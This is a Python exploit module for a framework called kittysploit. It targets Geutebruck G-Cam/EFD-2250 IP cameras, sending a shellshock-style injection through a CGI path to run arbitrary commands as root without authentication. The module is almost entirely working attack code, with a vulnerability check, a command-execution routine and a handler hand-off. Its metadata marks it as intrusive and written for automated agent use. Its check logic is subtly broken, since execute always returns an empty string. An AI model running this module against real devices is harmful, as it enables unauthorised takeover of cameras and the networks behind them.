Geutebruck G-Cam/EFD-2250 RCE

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Geutebruck G-Cam/EFD-2250 RCE"""


from kittysploit import *
from lib.protocols.http.http_client import Http_client
from lib.exploit.handler import Handler


class Module(Exploit, Http_client, Handler):
    __info__ = {
        'name': 'Geutebruck G-Cam/EFD-2250 RCE',
        'description': 'This module exploits a an arbitrary command execution vulnerability. Thevulnerability exists in the /uapi-cgi/viewer/simple_loglistjs.cgi page and allows ananonymous user to execute arbitrary commands with root privileges.',
        'author': ['Nicolas Mattiocco', 'Davy DouhineGH0st3rs'],
        
        'platform': Platform.LINUX,
        'payload': {'default': 'nopayload'},
        'references': ['https://www.exploit-db.com/exploits/44957', 'https://ics-cert.us-cert.gov/advisories/ICSA-18-079-01'],
        'tags': ['iot', 'camera', 'rce', 'unauth'],
        'agent': {
            'risk': 'intrusive',
            'effects': ['active_exploitation'],
            'expected_requests': 2,
            'reversible': False,
            'approval_required': True,
            'produces': ['exploit_paths', 'risk_signals'],
            'cost': 1.5,
            'noise': 0.5,
            'value': 1.0,
        },
    }

    target = OptIP("", "Target IPv4 or IPv6 address")
    port = OptPort(80, "Target HTTP port")

    def execute(self, cmd: str) -> str:
        header = "(){ :;}; "
        self.http_request(
            method='GET',
            path=f"/uapi-cgi/viewer/simple_loglistjs.cgi?{header}{cmd}",
        )
        return ''
    def check(self) -> bool:
        response = self.http_request(method='GET', path="/uapi-cgi/viewer/simple_loglistjs.cgi")

        if response is None:
            return {"vulnerable": False, "reason": "Check failed", "confidence": "medium"}

        # Lots of devices are redirecting. This triggers a false positive.
        if response.status_code == 307:
            return {"vulnerable": False, "reason": "Check failed", "confidence": "medium"}

        if response:
            return {"vulnerable": True, "reason": "Check succeeded", "confidence": "medium"}
        return {"vulnerable": False, "reason": "Check failed", "confidence": "medium"}

    def check_execute(self) -> bool:
        token = self.random_text(8)
        return token in (self.execute(f"echo {token}") or "")

    def run(self):
        if not self.check_execute():
            self.not_vulnerable()
            return False
        return self.handler_execute()